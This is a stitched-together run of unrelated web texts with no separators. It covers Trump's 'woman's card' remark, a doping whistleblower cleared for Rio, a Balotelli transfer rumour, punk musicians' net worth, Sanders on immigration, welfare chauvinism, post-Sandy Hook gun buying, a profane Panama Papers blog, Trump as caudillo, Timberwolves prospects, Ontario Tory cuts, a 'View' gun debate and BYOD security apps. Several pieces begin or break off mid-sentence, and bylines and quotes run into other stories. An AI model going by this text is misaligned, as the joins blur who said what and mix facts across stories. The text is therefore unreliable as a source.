Trudeau stated, “We feel confident that all the rules were followed.”
(h/t Mediaite)
Follow Ian Hanchett on Twitter @IanHanchettGOP presidential front-runner Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE defended his claim that Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE is only performing well in the Democratic primaries because she’s a woman.
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“It’s not sexist. It’s true,” Trump told ABC News Wednesday. “If she were a man, she’d get less than 5 percent,” he added, rehashing what he said in his victory speech following a five-state primary sweep Tuesday night.
“She’s a bad candidate. She’s a flawed candidate that frankly … is not going to do very well in the election, and I look forward to showing that.”
Trump drew backlash Tuesday when he credited Clinton’s successes to her gender.
“The only thing she’s got going is the woman’s card,” Trump said during his speech Tuesday.
Clinton shot back Wednesday on Twitter, saying the candidate’s comments just show his “true colors.”
“After a week of reports that Trump would change his tone heading into the general election, once again he’s letting his true colors show,” Clinton tweeted.Stepanova, an 800m runner, pictured competing in 2011 under her maiden name Rusanova
Russian doping whistleblower Yuliya Stepanova has been cleared by athletics chiefs to run as a "neutral" at this summer's Olympic Games in Rio.
The decision, which must be approved by Olympic organisers, comes with the Russian athletics federation banned from international competition.
Stepanova, and husband Vitaly Stepanov, told the World Anti-Doping Agency doping was rife in Russian athletics.
More than 80 Russian athletes have applied for "exceptional eligibility".
The final deadline for applications is 4 July, with a decision on all claims to be made by 18 July.
Stepanova, who is also eligible to compete at next week's European Championships, was banned for two years in 2013 for doping offences.
But the 800m runner's revelations, along with those of husband Vitaly - a drug-testing official, helped expose the doping problem in her country.
Russia was suspended by the International Association of Athletics Federations (IAAF) in November after an independent Wada report depicted a culture of widespread doping.
The IAAF said Stepanova had "made a truly exceptional contribution to the protection and promotion of clean athletes, fair play and the integrity and authenticity of the sport".
If she runs in the European Championships in Amsterdam, Stepanova would compete under the European Athletics flag.
The first round of the women's 800m takes place on 6 July.The Italian side have emerged as favourites to sign the Liverpool forward following praise from the club president
Chievo president Luca Campedelli insists he would be delighted to bring wayward striker Mario Balotelli back to Serie A.
Italy international Balotelli is not part of Jurgen Klopp's plans at Liverpool this season - the 25-year-old is training with the under-23 side after an unsuccessful loan return to AC Milan last season.
Over recent days, the team from Verona have emerged as a possible destination for the former Manchester City forward, although Balotelli's wage demands could prove prohibitive.
Nevertheless, Campedelli is an admirer of a player he feels has been unfairly scapegoated throughout a colourful career.
"Dreaming does not cost anything," Campedelli, who would be bringing Balotelli back to within an hour's drive of his native Brescia if a move came to fruition, told Tuttosport.
"I like Balotelli, the player can hardly be questioned. Yet, I also like the guy. I think too many times he has ended up at gunpoint."We don’t have a problem with bands and labels who make serious cash from their work; after all, pursuing punk music professionally is at best a risky business and those who succeed deserve to be rewarded for creating the albums we love. However, you may be surprised to see just how much some of these punks are worth.
Check the list out below.
10. Marky Ramone – $2 Million
Probably Spends It On: Leather Jackets, Depends
The long-running member of the Ramones is disappointingly low on this list. It looks like he probably doesn’t see a dime for any of the hundreds of thousands of Ramones t-shirts sold to people who probably couldn’t name a single member of the band if they weren’t part of the classic logo.
9. Lars Frederiksen – $10 Million
Probably Spends It On: His Own Tattoos, Suspenders(?)
This longtime Rancid guitarist also owns a share of an extremely popular tattoo parlor called NYHC Tattoo (founded by Vinnie Stigma of Agnostic Front and Jimmy Gestapo of Murphy’s Law) as well as the Skunx Tattoo Parlour in Japan. He’s also a tattoo artist on the side. Guess there’s a decent amount of money in the tattoo industry – sorta makes the forehead tattoo a little more understandable. Maybe.
8. Tim Armstrong – $13 Million
Probably Spends It On: Tim Timebomb studio sessions
The co-founder of Rancid, Operation Ivy, Transplants, and Hellcat Records certainly has earned his fair share of the punk market. Adding to his brand (and wallet), Gretsch makes a signature Tim Armstrong style guitar, which Tim surely sees some dough from.
7. Davey Havok – $20 Million
Probably Spends It On: Suits, Acting Classes
The AFI frontman might have once been a poor East Bay hardcore singer but let’s face it, the dude is a modern day rock star now. Music videos on MTV, major record labels, hell, he’s even appearing in movies alongside Rob Lowe – yeah, nobody saw that movie but you get the picture. The elitist might scoff at calling AFI punk these days but selling albums is their business, and business is apparently good.
6. Ian Mackaye – $25 million
Probably Spends It On: Not drugs
Best known for his tenure as the vocalist of Minor Threat and vocalist/guitarist of Fugazi, as well as being the co-founder of longtime DIY label Dischord Records, Ian Mackaye has accumulated quite a hefty sum over the years. How exactly that’s possible, we have no idea.
5. Billie Joe Armstrong – $55 million
Probably Spends It On: Eyeliner, giant posters of himself
We are talking Green Day here, which we can all agree is a mainstream band. 55 million can’t be a surprising number. They’ve got their own musical for crying out loud. The whole smashing guitars on stage as a fuck-you though seems a little less defiant when |
being able to immigrate as “immediate relatives.” It also ended the diversity lottery and made other changes that would have lead to a net decrease in legal immigration. So where are the “millions of people” that “work for lower wages than American workers and drive wages down…”? Well, the only part of the entire process that dealt with millions of people was the one that gave undocumented workers and their families visas, legalizing their status in the country. Once you think about it like this, the specter of “millions” of legal workers depressing wages is not even that dissimilar from Lou Dobbs’s own “hordes” of immigrants construct. And hearing Sanders use “millions of workers” as a boogeyman here makes his presidential campaign’s explanation, that in 2007 his vote was an effort to retain those family preference categories I just mentioned, sound incredibly hollow.
Watching the interview, you understand that Dobbs and Sanders are really just talking about the same thing using different language. Dobbs says “grand amnesty compromise,” Sanders replies with “guest workers.” Dobbs states that wages are declining in the industries that typically hire “illegal aliens” and points to that as a reason to oppose the “amnesty legislation”, Sanders responds with “That’s right” and tells his own story about a guest worker program. It’s a fluid back and forth, like watching a friendly tennis match.
Other people went on Dobbs and DID support immigrants
What makes it worse is that appearing on Lou Dobbs Tonight was not predicated on agreeing with what Dobbs had to say. Even though his guests slanted severely to the right, Dobbs sometimes had on people who challenged him. Two examples were presidential candidates Representative Dick Gephardt (D-MO) and Representative Dennis Kucinich (D-OH), both of whom came on in late 2003 and spoke for legalizing America’s undocumented population. Kucinich was especially notable because when Dobbs jousted with his gotcha-style questioning, lobbing the word “amnesty” to corner Kucinich, the congressman responded, “I think there ought to be amnesty.” A more typical response was that of Representative Luis Gutierrez (D-IL), the chair of the CHC’s immigration task force and regular guest on Lou Dobbs Tonight, who consistently argued that amnesty was an incorrect term to use for legalization efforts because of all the contributions of, and requirements on, the undocumented population itself, and that legalization was an overall plus for America.
Sanders did not support immigration as recently as 2007
What this interview shows is that, contrary to his campaign’s claims and his supporters beliefs, Bernie Sanders did not support immigration even as recently as 2007. In fact, his position appeared to be at the time closer to that of Lou Dobbs than it was to the Congressional Hispanic Caucus, the biggest voice Latinos have in federal government.
What people don’t seem to get is that it wouldn’t be surprising for Sanders to have not been a proponent of immigration. In fact, it would fit in well with his talk about corporations, the declining middle class, and pressure on wages. Through most of their history, the nation’s labor unions were anti-immigration and anti-legalization for similar reasons: that in their view immigrants would take jobs, increase the labor pool, create downward pressure on wages, and defeat organizing efforts. As some Sanders supporters have noted, even many of the celebrated Latino labor activists, such as Cesar Chavez, were not proponents of immigration and legalization back in the 60’s and 70’s.
Campaigning for president forced his update on immigrants
Today Labor, to the extent it is a coherent institution, is, with some outliers, pro-immigrant. Yet I’ve met a number of rank and file union members, and even some labor activists at the AFL-CIO and other institutions, that believe that immigration should be slowed or stopped and that undocumented workers have no permanent future in the United States, for the aforementioned reasons. And these people fit solidly within the Left spectrum of American politics. So even if union leadership and the bulk of its membership has moved on in recent years, there was not really an intense pressure from that constituency for Sanders to do so. In fact, union members comprised some of Lou Dobbs Tonight’s audience at the time. It’s only been during the campaign for president that Sanders has had to update his views on immigration. He’s been forced to move into the liberal political space beyond the labor movement, into where most of the Democratic Party has been for far longer.
Don’t get me wrong, I think it’s great that Sanders has come around on the issue of immigration and now also purports to be passionate about policies important to Latinos. Personally, I think everyone should be. But considering where Sanders was just a few years ago, he is certainly not the person I would get behind as a champion for the Latino community. And he is certainly not the pure, unchanging, longtime advocate of every progressive policy as his campaign and supporters would have you believe.
Carlos M. Vizcarra has worked on federal and gubernatorial campaigns in dozens of states across the country as well as at the DNC, DCCC, and other orgs. He holds a JD and LLM in National Security Law from Georgetown University. You can find him on Twitter: @CarlosMVizcarra
This post was updated 5/31/16Welfare chauvinism (also welfare state nationalism) is a term used for the political notion that welfare benefits should be restricted to certain groups, particularly to the natives of a country as opposed to immigrants. It is used as an argumentation strategy by right-wing populist parties, which describes a rhetorical connection between the problems of the welfare state and, in essence, immigration, but also other social groups such as welfare recipients and the unemployed. The focus is placed on categorizing state residents in two extremes: the "nourishing" and "debilitating" and the contradiction between them in the competition for the society's scarce resources.[1][2][3]
Background [ edit ]
The term welfare chauvinism was first used in social science in the 1990 paper "Structural changes and new cleavages: The progress parties in Denmark and Norway" by Jørgen Goul Andersen and Tor Bjørklund. They described it as the notion that "welfare services should be restricted to our own".[4][5]
"Nourishing" and "debilitating" [ edit ]
In the description of society and the problems of the welfare state, populists, especially right-wing populists and welfare chauvinists, use a line of argument based on two extremes in which citizens are divided into 'nourishing' and 'debilitating' groups. The nourishing group consists of those who are a part of society's welfare and the country's prosperity: community builders; "the people"; the ordinary honest working man. The second group as standing outside of "the people" are the debilitating group, believed to be promoting or utilizing welfare without adding any value to society. The debilitating group consists of bureaucrats, academics, immigrants, the unemployed, welfare recipients and others. As such, welfare is seen as a system with embedded exclusion mechanisms.[2][3]
Right-wing populists and welfare chauvinism [ edit ]
According to welfare chauvinists, the safety net of the welfare state are for those whom they believe belong in the community. By the right-wing populist standard, affiliations with society are based in national, cultural and ethnic or racial aspects. Considered to be included in the category are those that are regarded as nourishing. The debilitating group (primarily immigrants) is considered to be outside of society and to be unjustly utilizing the welfare system.[3][6] In essence, welfare chauvinists consider immigration to be a drain on societal scarce resources. They believe these resources should be used for the ethnically homogeneous native population,[1] preferably children and the elderly.[7]
The same principle of argument is, according to the academics Peer Scheepers, Mérove Gijsberts and Marcel Coenders, transferred to the labor market; where the competition for jobs is made out to be an ethnic conflict between immigrants and the native population. In times of high unemployment this rhetorical coupling amplifies and enhances the legitimacy of the welfare chauvinist and other xenophobic arguments.[8][9]
Political parties and welfare chauvinism [ edit ]
Examples of contemporary parties that use, or used, a welfare chauvinist argumentation strategy: the Progress Party and Danish People's Party in Denmark, Front National in France, Freedom Party of Austria in Austria, The Republicans in Germany, Sweden Democrats[1][10], UK Independence Party in Britain[11] and New Democracy[1] in Sweden, Golden Dawn in Greece and One Nation in Australia.
See also [ edit ]
References [ edit ]TINLEY PARK, IL - DECEMBER 17: A customer shops for a pistol at Freddie Bear Sports sporting goods store on December 17, 2012 in Tinley Park, Illinois. Americans purchased a record number of guns in 2012 and gun makers have reported a record high in demand. Firearm sales have surged recently as speculation of stricter gun laws and a re-instatement of the assault weapons ban following the mass school shooting in Connecticut. (Photo by Scott Olson/Getty Images)
Demand for guns is soaring in the U.S. after the Sandy Hook Elementary shooting, pumping up the price of firearms and ammunition as sellers race to replenish their stock.
Walmart has reportedly sold out of semi-automatic rifles in five states, including Pennsylvania, Kansas and Alabama, according to a Wednesday report from Bloomberg. The nation's largest retailer reintroduced guns to many of its stores in 2011, after a five-year period of limited availability. The company did not immediately respond to a request for comment from Bloomberg, and it said it was not willing to provide comment to HuffPost.
“It’s a money-grab out there,” said Mike McGovern, an IT project manager who said he woke up the morning after Friday’s massacre and bought a Glock 19 handgun at a Western New Jersey gun store that was packed with customers.
When McGovern returned home, he said he logged on to several online forums for gun owners and found an unusually high number of advertisements from arms dealers, including one ad that said, "Get ‘em while you still can,” referring to the prospect that last week’s shooting will lead to stricter gun control laws. Soon enough, online sellers were boosting prices, McGovern said. On CheaperThanDirt.com, a leading web-based gun store, the price of a magazine for assault weapons jumped from $30 to $60, one firearms blog noted.
Not all high-profile shootings cause gun prices to rise. The killings last summer in Aurora, Colo. didn't boost demand for guns enough to affect prices, said S.P. Fjestad, author of the Blue Book of Gun Values, a firearms pricing guide published annually. But last week’s massacre has sparked a gun-buying craze in America that’s prompted retailers to overcharge, and consumers to overpay, said Fjestad, citing anecdotal evidence.
On Monday, a police officer in the Chicago area called Fjestad to tell him about his recent experience buying guns from a Virginia-based dealer, Fjestad told HuffPost in an email.
Fjestad said the officer had contacted the dealer on Dec. 12 to inquire about a new, modified AK-47 and a “tricked out” AR-15, which would cost $600 and $1,000, respectively, the dealer reportedly said. The officer decided to hold off, and called the dealer again on Saturday. The prices had jumped to $1,000 and $1,600, respectively -- but the officer bought them anyway.
“I asked him why,” Fjestad recalled, “and his reply was, ‘They didn’t have any more, and I believe the prices won’t go down.’”
Have you bought or sold a gun since the Sandy Hook shootings? We'd like to hear from you. Send us an email: nhindman@huffingtonpost.com.
Such anecdotes have become increasingly common in recent days. Another police officer, who lives in the South Shore of Massachusetts and asked to remain anonymous because he didn’t want people to know he was stockpiling guns, bought an AR-15 semi-automatic rifle on Saturday morning. He now owns three. Asked why, the officer said, “They’re investments.”
“I bought an AR-15 in ‘92, right before the ‘94 ban,” he explained. During the federal ban on assault weapons -- which began in 1994 under former President Bill Clinton and was lifted in 2004 -- “the value of that gun roughly doubled,” the officer claimed.
In those years, it was illegal to manufacture weapons in the banned categories, but weapons already in circulation could be resold. If an assault weapons ban is passed again, which many gun owners are expecting after comments on Wednesday by President Barack Obama, the officer said he plans to advertise the gun in his precinct, or the local gun club, and flip it for a profit.
The officer said he was deeply troubled by last week’s shooting, but was not concerned by the fact that such incidents frequently cause firearm sales to surge. “My concern is not the guns, it's how many people like Adam Lanza are out there,” he said. “I have kids who are the age of those kids in Connecticut. But I’m not naive enough to think that if you outlaw guns, or a certain type of gun, a guy like that can’t kill." The officer added, “Look what Timothy McVeigh did with a truck, fuel and fertilizer.”
Others contacted by HuffPost reported making recent gun purchases out of fear for their personal safety and their family's safety. Lena Smith, an office manager and single mother of four living in Auburn, Wash., said last week's events motivated her to start the process of obtaining a concealed weapon license.
"I do not intend to keep an arsenal of firepower in my home," she said in an email to HuffPost. "I will purchase a small.38 special revolver." Smith said, "I hope and pray that I will never ever have to use my gun... however, in the event that I am out in public with my children and someone has decided to carry out heinous acts as we saw at Sandy Hook, the Aurora movie theater, the Clackamas Town Center, the Tacoma Mall, I will be ready to protect myself and my children."
Rob Frates, the manager of Discount Shooter, a local gun shop in Roseville, Calif., said he sold four AR-15s on Monday. “You tell a child they can’t have something, they want it even more, and it’s no different with these guns,” Frates told HuffPost. “There are millions of them out there, and the main thing that’s driving up the price is all the talk in the media putting a negative spin on the firearm.”
In the wake of the shooting, a bevy of retailers suspended sales of the AR-15, reportedly used by Adam Lanza in the Sandy Hook killings -- but it hasn't stopped America from reaching for firepower.
“The manufacturers [of the AR-15] can’t keep up with the demand,” said Robert Caselnova, the owner of Cas Firearms, a gun store located less than 10 minutes from Sandy Hook Elementary.
Despite the surge in gun sales, which have been climbing in 2012, being in the gun business is tough following such incidents, Frates said.Since I’m too lazy to recap, this post will make much more sense if you read my last post, “Assad, Putin and…Iceland???”
Having concluded that this Panama Papers spectacle could not be more contrived, I can’t help trying to figure out what the point is. There’s no careful study required when the person at the center of the scandal is Russian, Syrian or South American, but when an ostensible pal gets a drubbing, the point is less obvious. For the second time, identifying the target‘s connections to China reveals interesting possibilities, like this Vox post from a year ago, excerpted below:
How a Chinese infrastructure bank turned into a diplomatic fiasco for America Last fall, China rolled out a new regional economic initiative — the Asian Infrastructure and Investment Bank — on which it was partnering with India and a range of smaller Asian countries. The United States swiftly announced its opposition to the plan, which it said would undermine the existing global financial architecture, and began leaning on allies around the world to give the bank the cold shoulder. This March, America’s AIIB diplomacy suddenly and dramatically collapsed, as the United Kingdom — over the objections of the UK’s own Foreign Office — said it would join the bank. And that opened the floodgates. Germany, France, Italy, Australia, New Zealand, Spain, Korea, and Brazil are now all on board. The US is isolated, America is sniping at its closest foreign allies, and the Obama administration has been dealt a humiliating diplomatic defeat. –snip– So is this all David Cameron’s fault? That’s more or less how it looks from Washington. The Obama administration’s pique is re-enforced by the fact that, as Jamil Anderlini and Kiran Stacey reported for the Financial Times, the United Kingdom’s decision to join the bank was made over the objections of the UK Foreign Office. As Thomas Wright of the Brookings Institution writes, “It appears as if David Cameron’s government took this decision because it wanted to be the first to join and to get the credit from China for doing so.” This haste to obtain nonspecific commercial advantages at the expense of following America’s lead on grand strategy is seen by many in DC as crass and opportunistic.
You may recall, as my pal @lstwheel did, that a pig-fucking scandal, courtesy of this dude, afflicted Cameron half a year later. Admittedly, Lord Ashcroft had possible reasons of his own — or so we’re told — but surely pissing off Washington and the Foreign Office gave the story the strongest of legs.
Perhaps it wasn’t punishment enough.
UPDATE 2
There’s this also, from last month:
Barack Obama says David Cameron allowed Libya to become a ‘s*** show’
Of course, every leader does things that the US is not happy about, but these are big. If nothing else, badmouthing Cameron for a year suggests the marriage is kaput.
Of course we’ve all been instructed by the leaknoscenti to never roll our eyes and say, “old news” but since posting this I’ve learned that there really is no way to credibly deny it this time. Here from 2012: Cameron family fortune made in tax havens. The lede:
David Cameron’s father ran a network of offshore investment funds to help build the family fortune that paid for the prime minister’s inheritance, the Guardian can reveal.
Cameron mentioned the 2012 dress rehearsal in his early remarks to the Press, but it slipped by me.
That this scandal has come and gone before makes a useful point. The idiots that love these dramas are in thrall to the childish idea that it’s the leaks themselves that incite protests, investigations, resignations and reforms. But no, dipshits, like everything else in the spectacle, a leak lives or dies in accordance with its utility to people with power. You know, the people that own the story and all the means of telling it and stirring shit around it. The people without whom you wouldn’t even know what Mossack Fonseca is.
There
are
no
exceptions.
Clearly, the story of Cameron’s Dad didn’t make the cut of Really Important People Priorities the last time around. That seems to have changed and resources have been mobilized accordingly. Rubes are jumping through hoops predictably, starting with the “This Four-Year-Old Story is REALLY Important” hoop. That is, exercising their agency.
It’s amazing to me that there are actual adults wondering if this scandal is going to create a crisis for capitalism. This is just hilarious. The way playing practical jokes on yourself is hilarious. Seriously, even if this show isn’t entirely contrived, who the fuck do you think is in charge here?
You preening tools that sneer at people who are rightfully skeptical about what looks unmistakably like weaponized scandal, I would love to know what theories about power, information and media you’re operating under. What history of spying, propaganda, blackmail and coups is your reference point? Put another way, do you know anything?
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In his first week in power, President Trump has ruled by fiat and tweet, following through on many campaign promises most people had assumed were too absurd or extreme to ever fulfill. A temporary Muslim ban of some sort is set to come into effect, and the White House is seeking funding to actually build a wall on the Mexican border, still insisting Mexico will somehow pay for it. Meanwhile, his spokesmen engaged in a running war over the truth with the American media, doubling down on talking points and statistical claims already proven to be false.
If it weren't clear before the inauguration, it certainly is now: Trump's presidency represents a radical departure from the norms of American politics.
Yet to observers elsewhere, Trumpism feels deeply familiar. Trump may want to stop the flow of migrants and goods from south of the border, but he has imported a political style ingrained in Latin American politics: that of the nationalist demagogue.
A number of Latin American analysts have suggested over the past year that it's useful to view Trump through the lens of the "caudillo," or strongman. It's a tradition that extends from the last days of Simón Bolivar, South America's great liberator, to the current bluster of leaders such as Venezuela's Nicolás Maduro or Ecuador's Rafael Correa.
Sure, Trump is no military despot like Chile's late Augusto Pinochet, who came to power in a 1973 coup, nor is he a defiant autocrat like the late Hugo Chávez, the leftist populist who reshaped Venezuela in his image.
But to those who have lived under such leaders, it feels like Trump has been taking notes.
When Trump and his spokesmen started throwing out huge (and incorrect) numbers for the size of the crowd attending his inauguration, Venezuelan journalist Lisseth Boon immediately heard the echoes of her own experience reporting under a regime that constantly fed the public its scripted version of reality.
Yes, that is so Venezuela. Dèjá vu https://t.co/HEnCRMW4Pa — Lisseth Boon (@boonbar) January 22, 2017
Before the election, Enrique Krauze, a Mexican essayist and publisher, outlined with venom the parallels he saw between Trump and Latin American populists: It's in "his extreme self-inflation, his call for unthinking acceptance of the supposed power of his personality; his ability to keep America safe from the dangers of terrorism, Mexicans, the Chinese, whatever straw man area he can use to generate hatred and support for thoughtless economic proposals that in reality can only benefit the very rich; his promises that under his guidance, America will 'win so much, you may even get tired of winning.'"
Trump says he stands for the "forgotten man," a gesture to the American white working class languishing in the nation's farming villages and mining towns. Argentina's Juan Perón, a populist nationalist who transformed his country in the mid-20th century, said he represented his society's "descamisados," or "shirtless ones." Populists emerge, after all, in conditions of great social and economic inequity, and win votes with the promise to shake up an unfair system rigged against the common man.
Trump's belief in tough talk; his posturing as the champion of the working class; his stated contempt for urban elites and the machinery of politics; and his projection of a robust machismo that is undimmed by political correctness — are all traits associated with caudillismo.
"Populism, authoritarianism, personalism, machismo, racialism, and caudillismo — or strongman rule — have been historically seen as ills almost inherent to Latin American political culture," wrote Texas A&M political scientist Diego von Vacano. "With the election of Donald Trump, we can now see that the U.S. is indeed part of the Americas as a whole and shares in those pathologies."
Donald Trump, Caudillo del Norte pic.twitter.com/GpSqgfkIYi — Diego von Vacano (@diegovonvacano) January 1, 2017
But, as is the experience in Latin America, such politics can slide into trouble and dysfunction.
"Latin America has a mostly unhappy history of dealing with outsiders-turned-presidents," wrote Javier Corrales, a professor of political science at Amherst College. "More often than not, they have ended up either hurting democracy or ruining the government’s ability to act."
Krauze deployed another scathing analogy for Trump: "The Latin American populist leader harangues his people against those who are 'not our people.' He proclaims the dawn of a new history and promises the advent of heaven on earth. Once in power, microphone in hand, he installs a pattern of systematic lying, decrees that his official truth is the only truth, invents external enemies to blame for his own failures."
Not everyone in Latin America sees Trump in such negative light. Guillermo Moreno, a former Argentine trade secretary, favorably described Trump's "America First" politics as "Peronist" in a radio interview last week. Venezuela's Maduro, who constantly inveighs against the evils of yanqui imperialism, told reporters on Sunday that Trump was subject to a "brutal hate campaign" by American media.
Jair Bolsonaro, a right-wing, anti-establishment Brazilian firebrand and recent failed presidential candidate, also celebrated Trump's success: "At the end of the day, Trump stood up to the politically correct, stood up to the polling firms, stood up to the big rotten media," he said in a video cited by Americas Quarterly.
The irony, of course, is that Latin America has largely moved on from its days of demagoguery and dictatorship, with populism in retreat and mature democracies taking root across almost the whole region.
"The roles have been reversed," wrote Vacano, "and it is perhaps up to Latino immigrants to teach the U.S. about deepening democratization."
Want smart analysis of the most important news in your inbox every weekday along with other global reads, interesting ideas and opinions to know? Sign up for the Today's WorldView newsletter.Flip Saunders and the Minnesota Timberwolves have had some luck lately. Switching Kevin Love for Andrew Wiggins, Anthony Bennett and Thaddeus Young was the fastest way to rebuilding their core. Then, winning the 2015 NBA draft. What a 12 months for the Timberwolves!
But, something I haven’t found many people discussing is that this team in as short as 2 season from now could be a defensive powerhouse in the league. If they take Karl-Anthony Towns as they are projected to do with the 1st pick their defense at the rim will be significantly improved. Combine that with Andrew Wiggins impressive and improving wing defense the Timberwolves will have a lock-down defensive rotation. Beginning the 2015-16 season the Timberwolves line-up could look something like this:
1. Ricky Rubio
2. Kevin Martin
3. Andrew Wiggins
4. Kevin Garnett
5. Karl-Anthony Towns
With, Bennett, Zach Lavine, Gorgui Dieng all coming off the bench to headline a young second unit. The next question facing this roster is what to do Nikola Pekovic? The Bucks are on the hunt for an established center, could moving Pekovic to the Bucks for O.J Mayo and a 2nd rounder be an option? Is this something the teams would go for? Maybe the Celtics would take on Pekovic and his contract? Pekovic for Gerald Wallace, Luigi Datome and a future 1st rounder from Danny Ainge’s bag of goodies?
One last option is to swing Pekovic to the Knicks for Bargnani and 2 2nd rounders. Would this be something Phil Jackson and the Knick’s fanbase be interested in?
Moving Pekovic just free’s up playing time for Karl-Anthony Towns and Gorgui Dieng and lets them learn from Kevin Garnett. In 2 seasons from now, if all goes to plan the Timberwolves will have a roster resembling something like this:
1. Ricky Rubio
2. Zach Lavine
3. Andrew Wiggins
4. Karl-Anthony Towns
5. Gorgui Dieng
6. Anthony Bennett
7. Shabazz Muhammed
8. Adreian Payne
9. Anthony Brown (#31 2015 draft pick)
The best thing about the future is the players just listed as members of this team in 2 seasons from now are all currently quite raw and all have some sort of upside. Andrew Wiggins and KAT can easily become one of the most intimidating tandems in the league in a few seasons from now. KAT defensive plus/minus in college was an impressive +10.8 according to sports reference.com. Andrew Wiggins had a defensive plus/minus of – 1.8 in his first NBA season according to basketball reference. But, he showed some potential on the defensive end as can be seen below:
I expect that defensive plus/ minus to increase going into his sophomore season.
These two players alone if they live up to their potential can turn around the fate of this franchise, but with the potential of the other young pieces around them and with some room to grow, the Timberwolves are in a good place.
So Timberwolves fans, be patient and enjoy this growing phase. Your future is bright
AdvertisementsTouting his lineage as a member of former Progressive Conservative premier Mike Harris’s government, Tory Leader Tim Hudak says voters are ready for another dose of common sense. And that means cuts — to government services as well as to taxes.
Ontario Conservative Party leader Tim Hudak says it's time for some 'common sense' cuts to public spending. ( Pawel Dwulit / THE CANADIAN PRESS )
Speaking to reporters Friday at Queen’s Park, Hudak said Ontarians deserve some “straight talk” about a bloated bureaucracy and a tax system that are throttling the province’s economy. “Tax cuts create jobs,” he said repeatedly, echoing a rallying cry Harris used to successful political effect in his victorious 1995 and 1999 election campaigns. “But we need to be very clear-eyed about where those jobs and tax revenues are going to come from — and that’s from a growing, leading private-sector economy.”
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Hudak said the days of “bigger, more intrusive government” are coming to an end after nine years of Premier Dalton McGuinty’s Liberals in power. “Not everybody’s going to share that view, but I think the vast majority of Ontario residents know that you can’t run government on a credit card,” he said, referring to the $14.8-billion provincial deficit. While he can’t yet say how many hundreds or thousands of public service jobs would have to be eliminated — or where such cuts will come — Hudak emphasized that Ontarians are prepared for restraint. “They’re looking for some straight talk from political leaders in our province today that we still cannot (continue) on a massive spending route — in fact we’ve got to go in the opposite direction and reduce spending,” he said, adding he’s “proud” to have been part of a Harris government that created 1 million jobs in the 1990s and early 2000s. Reprising the themes of that era, the Tory leader said his party would consult on which taxes should be cut but he appeared to be leaning toward reducing corporate rates in order to spur job growth.
He also hinted that the Conservatives would be looking at selling off provincial assets such as the Liquor Control Board of Ontario, TVOntario, and the Ontario Lottery and Gaming Commission. “I’m going to have more to say... in the time ahead about what the role of government should be in 2012, what services should be delivered by the private sector, what should be regulated by the province or what should be directly delivered.”
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His comments come as the Tories are gearing up for an election expected as early as next spring by releasing a slew of policy papers. Finance Minister Dwight Duncan expressed concern Hudak’s approach to slashing services to bankroll lower taxes could lead to a reprise of tragedies like the 2000 tainted-water disaster in Walkerton that killed seven people. “We’ve seen this movie before — Ontarians remember Back to the Future and now Tim Hudak would take us ‘Back to the Harris ’90s,’ ” Duncan said in a statement. “To pay for tax cuts for their wealthy friends, the PCs will fire nurses, close hospitals, and cut water and meat inspectors like they did before. Ontarians don’t want to go backwards.”
Read more about:BY: Follow @DavidRutz
The liberal hosts of "The View" were well-armed with dubious talking points about gun control and the Second Amendment during a fierce debate Thursday in the wake of Wednesday's shooting that left House Majority Steve Scalise (R., La.) and four others wounded.
Host Sunny Hostin said "more guns is not the answer." Fellow host Joy Behar boasted of living in New York State with its strict gun laws, claiming that she would be afraid to live in an open-carry state and would never take public transportation.
"I'd be afraid that some guy on the subway would have a fit, just go mad because he was upset somebody took his seat … and shoot somebody else," she said, not noting that the exact same thing could happen in New York.
Non-liberal host Jedediah Bila countered, however, saying she felt safe in states like Arizona and Texas.
"I'm not worried about law-abiding citizens carrying guns," Bila said. "They don't make me nervous."
Host Whoopi Goldberg cut over Bila to ask her if she had been around "afraid people with guns."
"I have," Bila said.
"I don't believe you, Jed. I don't believe you," Goldberg said.
"I'm a conservative! They're a very pro-gun, pro-Second Amendment [group]," Bila said, laughing.
Goldberg said that when assailants start shooting, people run, and the police may not know how to shoot if there were multiple people carrying guns. She did not point out that citizens bearing arms may be able to defend themselves against an attacker before the police arrived.
"The problem is, if the Capitol Police weren't there … there would have been a massacre there," Bila said.
Told that's "their job," Bila was incredulous.
"If you live in a society where only the police have guns, that's called a police state," she said. "That is not the United States of America."
Goldberg then offered a dubious examination of the Second Amendment.
"The Second Amendment is about a militia," she said. "That's what it says."
It actually says more than that. Its full text reads, "A well regulated Militia, being necessary to the security of a free State, the right of the people to keep and bear Arms, shall not be infringed."
"It's the right to bear arms, to protect yourself and your family," Bila said.
Hostin said quietly that being able to defend one's self and family was "not what the Second Amendment is about."8 Useful Mobile Security Apps for the BYOD Business Road Warrior By Jack on Nov 29, 2013 in Blog
Smartphones and tablets are nothing new, and for many have become an essential part of our lives. It should be no surprise to anyone that people would demand easy mobile access to their work files – whether to keep up with developments away from the office, or taking your materials to a client presentation.
Providing this type of easy access however, especially in a BYOD (Bring Your Own Device) type environment – is very challenging for even the largest and most “tech-forward” companies. This is because providing a secure and reliable BYOD environment is tremendously complex, as any IT security expert will tell you.
There is however hope on the horizon. Though the market is still new and relatively undeveloped compared to more traditional computing – the mobile worker does now have some pretty good (if not excellent) options for securing their mobile devices.
You not only protect the “privileged information” from your company, you also more importantly protect yourself from the risks and liabilities of exposing sensitive data (even if accidental).
Divide is an interesting tool with good promise (at least as a concept). This app essentially turns your regular mobile device into TWO devices – one for business, one for “pleasure”.
This works by creating a separate workspace on your smart phone or tablet, where you can keep and access all your work files – without having you or your company otherwise modify the device. Once you close the app, it goes back to being the same faithful companion you know and love.
PacketFence is a robust, well designed, and open source Network Access Control tool – that allows you to control who, what, when, and where someone can access your network.
From an admin standpoint the level of control allowed is astounding. Such as creating and enforcing your own policies, managing guest access, and ensuring that only registered users are able to access your network – including the ability to limit access to a strict set of files / folders only.
FileLocker is a fast and excellent file encryption app currently only available for Android. The app will securely encrypt any file on your device, and even hide them from view, so unscrupulous characters will not even know the files are on your device.
While there are more than a few similar apps available on iTunes, none of them (yet) have the reputation or helpful features of File Locker – for example sending you a reminder if you forget to re-lock your files after you are done using them.
BoxCryptor is a wonderful encryption tool that allows you to securely access your cloud-based file storage sites – such as Dropbox, Google Drive, Microsoft SkyDrive, and SugarSync etc.
